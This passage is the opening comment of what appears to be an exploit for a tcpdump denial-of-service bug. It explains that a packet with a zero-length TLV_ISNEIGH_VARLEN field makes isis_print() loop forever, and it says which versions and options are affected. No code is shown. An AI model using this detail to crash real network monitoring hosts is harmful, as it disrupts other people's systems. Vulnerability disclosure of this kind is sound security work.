* *
* Tcpdump is a program that allows you to dump the traffic on a *
* network. It can be used to print out the headers of packets on *
* a network interface that matches a given expression. You can *
* use this tool to track down network problems, to detect "ping *
* attacks" or to monitor the network activities. *
* *
* tcpdump(v3.9.1 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (GRE) packet *
* causing an infinite loop. the packet doesnt actually have to *
* be an GRE packet, as the function is used in isoclns_print() *
* which is used many places by tcpdump, however i went with GRE *
* because it was the first one that popped up. *
* *
* as this bug doesn't appear to be fixed in the new(3.9.x/CVS) *
* versions i'll elaborate on the problem. the bug lies in *
* isis_print()(called by isoclns_print()) in the *
* TLV_ISNEIGH_VARLEN portion of the code, be providing a zero *
* length causing an infinite loop. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
